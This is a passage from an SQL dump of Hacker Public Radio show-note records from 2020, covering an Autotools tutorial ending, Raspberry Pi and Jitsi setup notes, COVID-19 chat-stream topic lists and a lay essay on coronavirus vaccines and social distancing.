&nbsp; <br>\r\npenguin: bin/penguin.sh<br>\r\n&nbsp; &nbsp; &nbsp; &nbsp; @sed \"s|__datadir__|@datadir@|\" $&lt; &gt;bin/$@</pre>\r\n\r\n<p>A particularly useful trick is to extend the existing <strong>clean</strong> target, at least during development. The <strong>make clean</strong> command generally removes all generated build files with the exception of the Automake infrastructure. It’s designed this way because most users rarely want <strong>make clean</strong> to obliterate the files that make it easy to build their code.</p>\r\n\r\n<p>However, during development, you might want a method to reliably return your project to a state relatively unaffected by Autotools. In that case, you may want to add this:</p>\r\n\r\n<pre>clean-local:<br>\r\n&nbsp; &nbsp; &nbsp; &nbsp; @rm config.status configure config.log<br>\r\n&nbsp; &nbsp; &nbsp; &nbsp; @rm Makefile <br>\r\n&nbsp; &nbsp; &nbsp; &nbsp; @rm -r autom4te.cache/<br>\r\n&nbsp; &nbsp; &nbsp; &nbsp; @rm aclocal.m4 <br>\r\n&nbsp; &nbsp; &nbsp; &nbsp; @rm compile install-sh missing Makefile.in</pre>\r\n\r\n<p>There’s a lot of flexibility here, and if you’re not already familiar with Makefiles, it can be difficult to know what your <strong>Makefile.am</strong> needs. The barest necessity is a primary target, whether that’s a binary program or a script, and an indication of where the source code is located (whether that’s through a <strong>_SOURCES</strong> variable or by using <strong>AUTOMAKE_OPTIONS</strong> to tell Automake where to look for source code).</p>\r\n\r\n<p>Once you have those variables and settings defined, you can try generating your build scripts as you see in the next section, and adjust for anything that’s missing.</p>\r\n\r\n<h3 id=\"autotools-build-script-generation\">Autotools build script generation</h3>\r\n\r\n<p>You’ve built the infrastructure, now it’s time to let Autotools do what it does best: automate your project tooling. The way the developer (you) interfaces with Autotools is different from how users building your code do.</p>\r\n\r\n<p>Builders generally use this well-known sequence:</p>\r\n\r\n<pre>$ ./configure<br>\r\n$ make<br>\r\n$ sudo make install</pre>\r\n\r\n<p>For that incantation to work, though, you as the developer must bootstrap the build infrastructure. First, run <strong>autoreconf</strong> to generate the configure script that users invoke before running <strong>make</strong>. Use the <strong>–install</strong> option to bring in auxiliary files, such as a symlink to <strong>depcomp</strong>, a script to generate dependencies during the compiling process, and a copy of the <strong>compile</strong> script, a wrapper for compilers to account for syntax variance, and so on.</p>\r\n\r\n<pre>$ autoreconf --install<br>\r\nconfigure.ac:3: installing \'./compile\'<br>\r\nconfigure.ac:2: installing \'./install-sh\'<br>\r\nconfigure.ac:2: installing \'./missing\'</pre>\r\n\r\n<p>With this development build environment, you can then create a package for source code distribution:</p>\r\n\r\n<pre>$ make dist</pre>\r\n\r\n<p>The <strong>dist</strong> target is a rule you get for \"free\"&nbsp;from Autotools.<br>\r\nIt’s a feature that gets built into the Makefile generated from your humble <strong>Makefile.am</strong> configuration. This target produces a <strong>tar.gz</strong> archive containing all of your source code and all of the essential Autotools infrastructure so that people downloading the package can build the project.</p>\r\n\r\n<p>At this point, you should review the contents of the archive carefully to ensure that it contains everything you intend to ship to your users. You should also, of course, try building from it yourself:</p>\r\n\r\n<pre>$ tar --extract --file penguin-0.0.1.tar.gz<br>\r\n$ cd penguin-0.0.1<br>\r\n$ ./configure <br>\r\n$ make <br>\r\n$ DESTDIR=/tmp/penguin-test-build make install</pre>\r\n\r\n<p>If your build is successful, you find a local copy of your compiled application specified by <strong>DESTDIR</strong> (in the case of this example, <strong>/tmp/penguin-test-build</strong>).</p>\r\n\r\n<pre>$ /tmp/example-test-build/usr/local/bin/example <br>\r\nhello world from GNU Autotools</pre>\r\n\r\n<h2 id=\"time-to-use-autotools\">Time to use Autotools</h2>\r\n\r\n<p>Autotools is a great collection of scripts for a predictable and automated release process. This toolset may be new to you if you’re used to Python or Bash builders, but it’s likely worth learning for the structure and adaptability it provides to your project.</p>\r\n\r\n<p>And Autotools is not just for code, either. Autotools can be used to build <a href=\"https://opensource.com/article/17/9/docbook\">Docbook</a> projects, to keep media organized (I use Autotools for my music releases), documentation projects, and anything else that could benefit from customizable install targets.</p>\r\n',78,25,0,'CC-BY-SA','autotools,build,make',0,0,1),
(3039,'2020-03-26','Making a Raspberry Pi status display',1608,'A project making use of my Pi 3A+, an old monitor and MagicMirror2','<h2 id=\"introduction\">Introduction</h2>\r\n<p>I have had a project on my <em>To Do</em> list for a while: to make a status display from a Raspberry Pi. My vision was to show the state of various things including some HPR stuff, and I had imagined setting up a Pi with a monitor and controlling it over SSH.</p>\r\n<p>I started on the project over the Christmas period 2019. I have a Raspberry Pi 3A+, which is a sort of souped-up Pi Zero, which I bought on a whim and hadn’t found a use for (Yannick reviewed this RPi model in show <a href=\"https://hackerpublicradio.org/eps.php?id=2711\" title=\"hpr2711 :: Raspberry Pi 3A+ Review\">2711</a>). I also had an old square Dell monitor from about 15 years ago which still worked (at least to begin with).</p>\r\n<p>I had imagined I’d write some software of my own with a web front end which ran various tasks to monitor things.</p>\r\n<p>However, in my researches I came across <em>MagicMirror<sup>2</sup></em> which I thought I might be able to use instead of writing my own thing.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr3039/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>JavaScript programming language:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/JavaScript\">Wikipedia entry</a></li>\r\n</ul></li>\r\n<li>Node.js JavaScript runtime environment:\r\n<ul>\r\n<li><a href=\"https://nodejs.org/en/\">Website</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Node.js\">Wikipedia entry</a></li>\r\n</ul></li>\r\n<li>Electron software framework:\r\n<ul>\r\n<li><a href=\"https://www.electronjs.org/\">Website</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Electron_%28software_framework%29\">Wikipedia entry</a></li>\r\n</ul></li>\r\n<li>MagicMirror<sup>2</sup>:\r\n<ul>\r\n<li><a href=\"https://github.com/MichMich/MagicMirror\">GitHub page</a></li>\r\n<li><a href=\"https://magicmirror.builders/\">Website</a></li>\r\n<li><a href=\"https://github.com/MichMich/MagicMirror/wiki/3rd-party-modules\">List of third-party modules</a></li>\r\n</ul></li>\r\n<li>Resources:\r\n<ul>\r\n<li>Example files:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3039/config.js\">config.js</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr3039/custom.css\">custom.css</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','Raspberry Pi,VGA monitor,MagicMirror2,MQTT,Node.js,Electron',0,0,1),
(3042,'2020-03-31','The COVID-19 Work From Home Stream - Day 0',4021,'A couple of HPR characters decide to spend some of their social distancing time being social','<p>Tuesday 17.03.2020</p>\r\n<p>Guests: honkeymagoo, crvs, and Thaj</p>\r\n<ul>\r\n<li>How likely we are to get COVID-19</li>\r\n<li>Should we invest while the market is down</li>\r\n<li>How bad is the internet infrastructure in the US</li>\r\n<li>Learning Python\r\n<ul>\r\n<li><a href=\"https://grasshopper.app/\">Grasshopper</a></li>\r\n<li><a href=\"https://github.com/ubarredo/LearnPythonTheHardWay\">Learn Python tne Hard Way</a></li>\r\n<li><a href=\"https://exercism.io\">Excercism</a></li>\r\n<li>Klaatu\'s <a href=\"https://www.amazon.com/Programming-Book-S-Kenlon/dp/098478425X/ref=sr_1_1?dchild=1&amp;keywords=9780984784257&amp;linkCode=qs&amp;qid=1584490615&amp;s=books&amp;sr=1-1\">Programming Book</a></li>\r\n</ul></li>\r\n<li>Growing plants</li>\r\n<li>That Audiobook Club though...</li>\r\n<li>Video games</li>\r\n<li>Single Board Computers\r\n<ul>\r\n<li>OpenBSD on <a href=\"https://www.openbsd.org/arm64.html\">Raspberry Pi</a></li>\r\n</ul></li>\r\n<li>Why haven\'t you done a show about that Thaj?</li>\r\n<li>Emacs and org-mode</li>\r\n<li>Nano for the win</li>\r\n</ul>\r\n',270,0,1,'CC-BY-SA','COVID-19, Stock Markets, Emacs, Python, Programming, Audiobooks, Growing Food, Video Games, SBCs',0,0,1),
(3043,'2020-04-01','How I record for HPR',119,'The tools I use to record a show for HPR','<ol type=\"1\">\r\n<li><p>Sentry BT250 Bluetooth Headphones w/ mic<br />\r\n<a href=\"https://www.amazon.com/Wireless-Rechargeable-Stereo-Earbuds-Bluetooth/dp/B015NFWDX8\" class=\"uri\">https://www.amazon.com/Wireless-Rechargeable-Stereo-Earbuds-Bluetooth/dp/B015NFWDX8</a></p></li>\r\n<li><p>F-Droid - free open source apps for Android<br />\r\n<a href=\"https://f-droid.org/en/\" class=\"uri\">https://f-droid.org/en/</a></p></li>\r\n<li>Audio Recorder from F-Droid<br />\r\n<a href=\"https://f-droid.org/en/packages/com.github.axet.audiorecorder/\" class=\"uri\">https://f-droid.org/en/packages/com.github.axet.audiorecorder/</a><br />\r\nFeatures:\r\n<ul>\r\n<li>Mute incoming call audio while recording</li>\r\n<li>Variety of format encoding\r\n<ul>\r\n<li>ogg (default)</li>\r\n<li>wav</li>\r\n<li>flac</li>\r\n<li>m4a</li>\r\n<li>mp3</li>\r\n<li>opus</li>\r\n</ul></li>\r\n</ul></li>\r\n<li><p>X-plore Android file explorer<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=com.lonelycatgames.Xplore&amp;hl=en_US\" class=\"uri\">https://play.google.com/store/apps/details?id=com.lonelycatgames.Xplore&amp;hl=en_US</a></p></li>\r\n<li>Audacity\r\n<ul>\r\n<li>Amplify tool</li>\r\n<li>Bass and Treble tool</li>\r\n</ul></li>\r\n</ol>\r\n',318,0,0,'CC-BY-SA','recording, bluetooth, android',0,0,1),
(3047,'2020-04-07','The COVID-19 Work From Home Stream - Day 1',2449,'A couple of HPR characters decide to spend some of their social distancing time being social','<p>Wednesday 18.03.2020 (2020-03-18)</p>\r\n<p>Guests: honkeymagoo, crvs, Lyle, Thaj</p>\r\n<ul>\r\n<li><a href=\"https://obsproject.com\">Open Broadcaster Studio</a></li>\r\n<li>A grocery store trip is a sign of the apocalypse?</li>\r\n<li>Bidets are the fix for TP shortages</li>\r\n<li>Insider details on the grocery business</li>\r\n<li>My beard is NOT negotiable</li>\r\n<li>Long term impacts of social distance\r\n<ul>\r\n<li>How are schools handling this?</li>\r\n</ul></li>\r\n<li>Matrix, IRC, and Microsoft Teams...OH MY!!</li>\r\n<li>Do you need another person for your HPR episode, call Thaj.</li>\r\n<li>Lyle has a <a href=\"https://i.imgur.com/GVEOiIB.jpg\">meme</a></li>\r\n<li>Lyle makes a <a href=\"https://cooking.nytimes.com/recipes/1018203-simple-crusty-bread-\">bread</a></li>\r\n<li>More Python</li>\r\n<li>ffmpeg</li>\r\n</ul>',270,0,1,'CC-BY-SA','OBS, Bidets, Grocery',0,0,1),
(3048,'2020-04-08','Alternatives to toilet paper',702,'A non-satirical and non-sarcastic review of alternatives to toilet paper.','<p>In some countries, people seem to be legitimately concerned about the availability of toilet paper. This episode offers alternatives to toilet paper in the hope of relieving people of additional stress around hygiene.\r\n</p><p>This is not a joke episode and contains no offensive language, but it is about a potentially sensitive subject, so it has been marked explicit as a precaution.</p>',78,100,1,'CC-BY-SA','hygiene',0,0,1),
(3051,'2020-04-13','The COVID-19 Work From Home Stream - Day 2',2552,'A few HPR characters decide to spend some of their social distancing time being social','<p>Thursday 19.03.2020</p>\r\n<p>Guests: honkeymagoo, Thaj</p>\r\n<ul>\r\n<li>Talk about creating video tutorials for work</li>\r\n<li>Still more talking about Python</li>\r\n<li>Plumble dies</li>\r\n<li>Is being open to technology based on age?</li>\r\n<li>How much farther will this virus shut things down?</li>\r\n<li>Oh no....politics!</li>\r\n<li>Healthcare in the US</li>\r\n</ul>',270,0,1,'CC-BY-SA','Healthcare, Python, COVID-19, Plumble, Politcs, Technology',0,0,1),
(3054,'2020-04-16','Coronavirus Thoughts',1101,'Where we are with this pandemic, and how should we respond.','<p>This is an attempt on my part to pull together what we know about the Coronavirus, and what measures we can take. It emphasizes the importance of social distancing, and evaluates our prospects for conquering the disease. <a href=\"https://www.palain.com/?page_id=731\" class=\"uri\">https://www.palain.com/?page_id=731</a></p>\r\n<ul>\r\n<li><a href=\"https://www.palain.com/?page_id=356\" class=\"uri\">https://www.palain.com/?page_id=356</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=358\" class=\"uri\">https://www.palain.com/?page_id=358</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=360\" class=\"uri\">https://www.palain.com/?page_id=360</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=402\" class=\"uri\">https://www.palain.com/?page_id=402</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=402\" class=\"uri\">https://www.palain.com/?page_id=402</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2685\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2685</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2695\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2695</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2705\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2705</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2870\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2870</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2880\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2880</a></li>\r\n<li><a href=\"https://www.theguardian.com/world/2020/apr/05/when-will-a-coronavirus-vaccine-be-ready\" class=\"uri\">https://www.theguardian.com/world/2020/apr/05/when-will-a-coronavirus-vaccine-be-ready</a></li>\r\n<li><a href=\"https://s2.washingtonpost.com/camp-rw/?e=endpbG5pa0B6d2lsbmlrLmNvbQ%3D%3D&s=5e8b05f4fe1ff6038cf6a56a&linknum=0&linktot=79\" class=\"uri\">https://s2.washingtonpost.com/camp-rw/?e=endpbG5pa0B6d2lsbmlrLmNvbQ%3D%3D&s=5e8b05f4fe1ff6038cf6a56a&linknum=0&linktot=79</a></li>\r\n<li><a href=\"https://www.jci.org/articles/view/138003\" class=\"uri\">https://www.jci.org/articles/view/138003</a></li>\r\n<li><a href=\"https://www.scientificamerican.com/podcast/science-talk/\" class=\"uri\">https://www.scientificamerican.com/podcast/science-talk/</a></li>\r\n<li><a href=\"https://fivethirtyeight.com/videos/why-we-shouldnt-hope-covid-19-is-seasonal-like-the-flu/\" class=\"uri\">https://fivethirtyeight.com/videos/why-we-shouldnt-hope-covid-19-is-seasonal-like-the-flu/</a></li>\r\n<li><a href=\"https://fivethirtyeight.com/features/why-we-still-need-to-test-widely-for-coronavirus/\" class=\"uri\">https://fivethirtyeight.com/features/why-we-still-need-to-test-widely-for-coronavirus/</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=731\" class=\"uri\">https://www.palain.com/?page_id=731</a></li>\r\n</ul>\r\n\r\n<hr />\r\n<small>Show notes added by Ken as they are released under a Creative Commons Attribution-ShareAlike 4.0 International License. </small>\r\n\r\n<p>\r\n   Well, since I am sitting at home maintaining a &#8220;social distance&#8221; I thought I would put down some thoughts about this pandemic and how we will be affected. But a disclaimer to be completely clear: I am not a doctor or a research scientist. I am retired, but I was once a college professor teaching \r\n   <em>\r\n   Statistics\r\n   </em>\r\n   and \r\n   <em>\r\n   Research Methods\r\n   </em>\r\n   . I think this helps me in some way to interpret the information I receive, but when I want authoritative information I look to real doctors, the CDC, and qualified researchers. If you want to know more about what I mean by qualified researchers, you might want to check out my series on interpreting studies:\r\n</p>\r\n<ul>\r\n   <li>\r\n      <a rel=\"noreferrer noopener\" href=\"https://www.palain.com/?page_id=356\" target=\"_blank\">\r\n      Scientific and Medical Reports\r\n      </a>\r\n   </li>\r\n   <li>\r\n      <a rel=\"noreferrer noopener\" href=\"https://www.palain.com/?page_id=358\" target=\"_blank\">\r\n      Problems With Studies\r\n      </a>\r\n   </li>\r\n   <li>\r\n      <a rel=\"noreferrer noopener\" href=\"https://www.palain.com/?page_id=360\" target=\"_blank\">\r\n      Evidence-Based Medicine\r\n      </a>\r\n   </li>\r\n   <li>\r\n      <a rel=\"noreferrer noopener\" href=\"https://www.palain.com/?page_id=402\" target=\"_blank\">\r\n      The Hierarchy of Evidence\r\n      </a>\r\n   </li>\r\n   <li>\r\n      <a rel=\"noreferrer noopener\" href=\"https://www.palain.com/?page_id=402\" target=\"_blank\">\r\n      Evaluating a Study\r\n      </a>\r\n   </li>\r\n</ul>\r\n<p>\r\n   And if you prefer audio to reading, you can download the audio versions at Hacker Public Radio:\r\n</p>\r\n<ul>\r\n   <li>\r\n      <a href=\"https://hackerpublicradio.org/eps.php?id=2685\" target=\"_blank\" rel=\"noreferrer noopener\">\r\n      Scientific and Medical Reports\r\n      </a>\r\n   </li>\r\n   <li>\r\n      <a href=\"https://hackerpublicradio.org/eps.php?id=2695\" target=\"_blank\" rel=\"noreferrer noopener\">\r\n      Problems With Studies\r\n      </a>\r\n   </li>\r\n   <li>\r\n      <a href=\"https://hackerpublicradio.org/eps.php?id=2705\" target=\"_blank\" rel=\"noreferrer noopener\">\r\n      Evidence-Based Medicine\r\n      </a>\r\n   </li>\r\n   <li>\r\n      <a href=\"https://hackerpublicradio.org/eps.php?id=2870\" target=\"_blank\" rel=\"noreferrer noopener\">\r\n      The Hierarchy of Evidence\r\n      </a>\r\n   </li>\r\n   <li>\r\n      <a href=\"https://hackerpublicradio.org/eps.php?id=2880\" target=\"_blank\" rel=\"noreferrer noopener\">\r\n      Evaluating  a Study\r\n      </a>\r\n   </li>\r\n</ul>\r\n<p>\r\n   So, with the preliminaries out of the way, what do we know? We know that this is a virus of a type called coronavirus, which makes it part of the family of viruses that include the common cold, SARS, and MERS. What distinguishes this new virus, technically called SARS-CoV2 (though I usually just call it covid-19, like most reports do) is that it is highly infectious and highly virulent. Highly infectious means it is easily passed from one person to another. Highly virulent means that it can cause death easily. It has been compared in this respect to the 1918 Flu pandemic, which we estimate infected 500 million people worldwide (about 1/3 of the population at that time) and killed at least 20 million to 50 million people, and perhaps more. Note that assigning a cause of death is not a precise science, and medical record keeping in many parts of the world was sketchy at best.\r\n</p>\r\n<h2>\r\n   What Can Help?\r\n</h2>\r\n<p>\r\n   The ultimate answer to this would be a vaccine. Thankfully, the anti-vaxxers have crawled back under whatever rocks they live under for the time being, but a vaccine is not the perfect answer right now. The good news is that coronavirus appears to be one that does not mutate a lot, which means a vaccine is likely to be more effective than the flu vaccine. Influenza virus changes every year and that makes it a bit of guesswork to figure out. \r\n   <a rel=\"noreferrer noopener\" href=\"https://www.theguardian.com/world/2020/apr/05/when-will-a-coronavirus-vaccine-be-ready\" target=\"_blank\">\r\n   Scientists are working on a vaccine right now in a crash program\r\n   </a>\r\n   , and again there is some good news on that front. First, Chinese scientists were able to DNA sequence the virus pretty quickly. They found that this virus shares 80-90% of its DNA with SARS, which is why it is named SARS-CoV2. Unfortunately, we don&#8217;t have a SARS vaccine because that outbreak died off before work was completed, but the work that was done is something we can build on. But in general, most researchers have said that it will take as much as 18 months even with a crash program. \r\n</p>\r\n<p>\r\n   Usually these take much longer. First you do animal studies, both for safety and for efficacy. For example, one of the early candidates for a SARS vaccine was causing harm to the animals who received it, though they think that problem has now been solved. If the animal trials are promising, you can move on to human trials Stage 1 is to test with a small number of healthy volunteers, looking specifically to test safety. You don&#8217;t want to administer a vaccine that kill everyone, or even any significant number of people.   If the candidate passes that test, Stage 2 is to administer the vaccine to a few hundred people in an area where the disease is rampant. If it looks like it is working, and no safety issues have arisen, a final trial can involve several thousand people. If it passes that, it can be approved for medical use and move into production. And that adds even more delays, since producing vaccine in large quantities takes a long time. According to Ronald Klain, Obama Administration&#8217;s Ebola Czar:\r\n</p>\r\n<blockquote>\r\n   <p>\r\n      Developing and testing the vaccine &#8212; hard as it is &#8212; isn&#8217;t the hardest part. Manufacturing hundreds of millions of doses &#8212; and getting people to take the vaccine &#8212; will be harder and take longer.\r\n   </p>\r\n   <cite>\r\n   <a href=\"https://s2.washingtonpost.com/camp-rw/?e=endpbG5pa0B6d2lsbmlrLmNvbQ%3D%3D&amp;s=5e8b05f4fe1ff6038cf6a56a&amp;linknum=0&amp;linktot=79\">\r\n   https://s2.washingtonpost.com/camp-rw/?e=endpbG5pa0B6d2lsbmlrLmNvbQ%3D%3D&amp;s=5e8b05f4fe1ff6038cf6a56a&amp;linknum=0&amp;linktot=79\r\n   </a>\r\n   </cite>\r\n</blockquote>\r\n<p>\r\n   Now, this process can be accelerated to some degree, but not by as much as you might think. Doing the research to find a candidate that might work will take time, and there is no short cut. That is why researchers say a crash program might deliver something in 18 months, as opposed to the decade or more many vaccines require. Sometimes when these studies are done, you get quick results that can lead to dropping some steps. For example, if you have a test group and a control group, and the test group recovers quickly while the control group is dying, any ethical researcher will stop the trial and give the remedy to everyone who needs it. But you are dealing with probabilities in this, and most people are not comfortable with that. They want yes or no answers, and sadly life does not give that all the time. If you are responsible for that decision, if anything goes wrong you will get all of the blame. I&#8217;m glad I don&#8217;t have to make that decision, though also apprehensive that the people who do make that decision may not be sane adults.\r\n</p>\r\n<p>\r\n   OK, if you we wait for the vaccine, what about medicines to cure the infection? Again, there is work being done here. Several different approaches are being studied. One which we know can work is called \r\n   <a rel=\"noreferrer noopener\" href=\"https://www.jci.org/articles/view/138003\" target=\"_blank\">\r\n   Convalescent Plasma\r\n   </a>\r\n   (aka Convalescent Blood). This takes plasma from people who have recovered from the disease, and gives it intravenously to someone seriously ill. It is an old approach, predating vaccines, but it does work. The transfusion of the plasma contains antibodies made by the person who recovered, and those antibodies can help someone with the disease. But the obvious problem is that it does not scale very well when new cases keep increasing. Other approaches are using drugs developed for different illnesses, in the hope that they are sufficiently similar to covid-19 so that the medication would be effective. This is good since those medications have already passed all of the safety tests, but we just don&#8217;t know enough right now. Some reports suggest HIV drugs can help, other reports say they don&#8217;t. And so this may bear fruit, but it may be a while yet. The medicine promoted by Donald Trump, hydroxychloroquine, has not been found effective in any good research, and should not be counted on as a valid cure.\r\n</p>\r\n<p>\r\n   And that brings us back to the things we know are effective at this point, which is preventing people from passing on the virus by \r\n   <em>\r\n   social distancing\r\n   </em>\r\n   , i.e. quarantine, and massive testing. If people stay home and do not interact with other people, they cannot pass the disease along and the outbreak will eventually die off. This will work if done properly. To see this, I will use an example I pulled from Steve Mirsky of the \r\n   <a href=\"https://www.scientificamerican.com/podcast/science-talk/\" target=\"_blank\" rel=\"noreferrer noopener\">\r\n   Scientific American Podcast\r\n   </a>\r\n   , which requires less than a minute of spreadsheet work. This uses the reproduction factor R0, which is the average number of people who get infected by each person with the virus.\r\n</p>\r\n<figure class=\"wp-block-table\">\r\n   <table>\r\n      <tbody>\r\n         <tr>\r\n            <td>\r\n               Round\r\n            </td>\r\n            <td>\r\n               R0=1.3\r\n            </td>\r\n            <td>\r\n               R0=2.5\r\n            </td>\r\n         </tr>\r\n         <tr>\r\n            <td>\r\n               1\r\n            </td>\r\n            <td>\r\n               1.3\r\n            </td>\r\n            <td>\r\n               2.5\r\n            </td>\r\n         </tr>\r\n         <tr>\r\n            <td>\r\n               2\r\n            </td>\r\n            <td>\r\n               1.7\r\n            </td>\r\n            <td>\r\n               6.3\r\n            </td>\r\n         </tr>\r\n         <tr>\r\n            <td>\r\n               3\r\n            </td>\r\n            <td>\r\n               2.2\r\n            </td>\r\n            <td>\r\n               15.6\r\n            </td>\r\n         </tr>\r\n         <tr>\r\n            <td>\r\n               4\r\n            </td>\r\n            <td>\r\n               2.9\r\n            </td>\r\n            <td>\r\n               39.1\r\n            </td>\r\n         </tr>\r\n         <tr>\r\n            <td>\r\n               5\r\n            </td>\r\n            <td>\r\n               3.7\r\n            </td>\r\n            <td>\r\n               97.7\r\n            </td>\r\n         </tr>\r\n         <tr>\r\n            <td>\r\n               6\r\n            </td>\r\n            <td>\r\n               4.8\r\n            </td>\r\n            <td>\r\n               244.1\r\n            </td>\r\n         </tr>\r\n         <tr>\r\n            <td>\r\n               7\r\n            </td>\r\n            <td>\r\n               6.3\r\n            </td>\r\n            <td>\r\n               610.4\r\n            </td>\r\n         </tr>\r\n         <tr>\r\n            <td>\r\n               8\r\n            </td>\r\n            <td>\r\n               8.2\r\n            </td>\r\n            <td>\r\n               1525.9\r\n            </td>\r\n         </tr>\r\n         <tr>\r\n            <td>\r\n               9\r\n            </td>\r\n            <td>\r\n               10.6\r\n            </td>\r\n            <td>\r\n               3814.7\r\n            </td>\r\n         </tr>\r\n         <tr>\r\n            <td>\r\n               10\r\n            </td>\r\n            <td>\r\n               13.8\r\n            </td>\r\n            <td>\r\n               9536.7\r\n            </td>\r\n         </tr>\r\n      </tbody>\r\n   </table>\r\n   <figcaption>\r\n      How the reproduction factor affects the spread\r\n   </figcaption>\r\n</figure>\r\n<p>\r\n   As we can see, with a factor of R0=1.3, which means each person infects on average 1.3 others, after ten rounds of infection it has only spread to 14 other people. But with R0=2.5, which doesn&#8217;t seem that much different, ten rounds means 9,536 people have the disease. Now, there are two primary factors affecting R0. One is the inherent infectiousness of the virus, which is high and out of our control. The other factor is how many people each person interacts with, and that is what we are trying to reduce through social distancing.\r\n</p>\r\n<p>\r\n   Testing is still important, even at this stage, because it does several good things. First, it helps with the allocation of resources if we know exactly where the worst spots are. Second, it saves time and equipment in hospitals if we know exactly who is sick. Third, this gets us data we need to plan for future outbreaks. This pandemic is not the last one we will face, and this one won&#8217;t be over soon either. We need to know everything we can about how it spreads. And finally, we need a robust testing regime in place before we can &#8220;safely&#8221; start to resume our lives. \r\n</p>\r\n<blockquote>\r\n   <p>\r\n      There’s also the fact that, eventually, we’re going to want to go back outside again. As the current protocols start to relax,&nbsp;\r\n      <a href=\"https://fivethirtyeight.com/videos/why-we-shouldnt-hope-covid-19-is-seasonal-like-the-flu/\">\r\n      a second wave of infections may arise,\r\n      </a>\r\n      &nbsp;especially if we don’t have a good grasp on where and how many cases we have in the U.S., said Dr. Eli Perencevich, a professor of medicine and epidemiology at the University of Iowa.\r\n   </p>\r\n   <p>\r\n      “We can’t stay in social distancing forever,” Perencevich said. “So we need to ramp up testing quickly.”\r\n   </p>\r\n   <cite>\r\n   <a href=\"https://fivethirtyeight.com/features/why-we-still-need-to-test-widely-for-coronavirus/\">\r\n   https://fivethirtyeight.com/features/why-we-still-need-to-test-widely-for-coronavirus/\r\n   </a>\r\n   </cite>\r\n</blockquote>\r\n<p>\r\n   So, the bottom line is that a vaccine is most likely 18 months away, medicines may be months away, and right now the best thing we can do as individuals is isolate.\r\n</p>\r\n\r\n',198,100,0,'CC-BY-SA','Health, Coronavirus, COVID-19',0,0,1),
(3049,'2020-04-09','What computers taught me about reality',1451,'Klaatu tells us what computers taught him about reality','<p>Some musings about what computers taught me about reality and perception.</p>',78,0,0,'CC-BY-SA','philosophy,system design',0,0,1),
(3044,'2020-04-02','mocp snooze tip',391,'A quick snooze tip when using mocp','<p>I use cordless headphones, I find this very handy when I want <code>mocp</code> to play for a set time then pause.</p>\r\n<p>Commands used</p>\r\n<ul>\r\n<li><p>Ctrl + r, to quickly find the command</p></li>\r\n<li><p><code>sleep 10m && mocp -G</code></p></li>\r\n<li><p><code>sleep 10m && mocp -M ~/.moc/audiobooks -G</code></p></li>\r\n<li><p><code>sleep 5h && iplayer-url</code></p></li>\r\n</ul>',201,0,1,'CC-BY-SA','Linux, bash, podcasts, audio',0,0,1),
(3056,'2020-04-20','Jitsi',764,'Jitsi is an open-source multiplatform videoconferencing ','<p>Jitsi is a collection of free and open-source multiplatform voice, videoconferencing and instant messaging applications for the web platform, Windows, Linux, Mac OS X and Android</p>\r\n<p>Jitsi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<small><small>(<b>Editor\'s Note</b>: show notes amended 2020-06-13 from comment)</small></small></p>\r\n<pre><code>systemctl stop docker\r\n\r\nrm -Rf /var/lib/docker\r\nrm -Rf ~/.jitsi-meet-cfg\r\n\r\n# change docker-data to your path you want to put images in\r\nmount --rbind /media/moredata/docker-data /var/lib/docker\r\n\r\napt-get remove --purge install docker-ce docker-ce-cli containerd.io\r\napt-get install docker-ce docker-ce-cli containerd.io\r\n\r\ncurl -L &quot;https://github.com/docker/compose/releases/download/1.23.1/docker-compose-$(uname -s)-$(uname -m)&quot; -o /usr/local/bin/docker-compose\r\nchmod +x /usr/local/bin/docker-compose\r\n\r\ngit clone https://github.com/jitsi/docker-jitsi-meet &amp;&amp; cd docker-jitsi-meet\r\n\r\nsystemctl restart docker\r\n\r\ncp env.example .env\r\nmkdir -p ~/.jitsi-meet-cfg/{web/letsencrypt,transcripts,prosody,jicofo,jvb}\r\n\r\ndocker-compose --log-level DEBUG up -d --force-recreate --remove-orphans\r\n\r\ntail -f `find /var/lib/docker/containers -iname &quot;*.log&quot; `\r\n\r\ndocker container ls\r\n\r\ndocker exec -it d4c89a799fd7 bash\r\n\r\n# side that will be controlled needs to run\r\nhttps://github.com/jitsi/jitsi-meet-electron/releases/latest</code></pre>\r\n<ul>\r\n<li><p><a href=\"https://rmccurdy.com/.scripts/videos/rmccurdy_com/HPR_Jitsi.mp4\" class=\"uri\">https://rmccurdy.com/.scripts/videos/rmccurdy_com/HPR_Jitsi.mp4</a></p></li>\r\n<li><p><a href=\"https://rmccurdy.com/.scripts/videos/rmccurdy_com/HPR_Jitsi.mp3\" class=\"uri\">https://rmccurdy.com/.scripts/videos/rmccurdy_com/HPR_Jitsi.mp3</a></p></li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','linux,debian,computers,software,internet,Jitsi,video,conferencing,open-source',0,0,1),
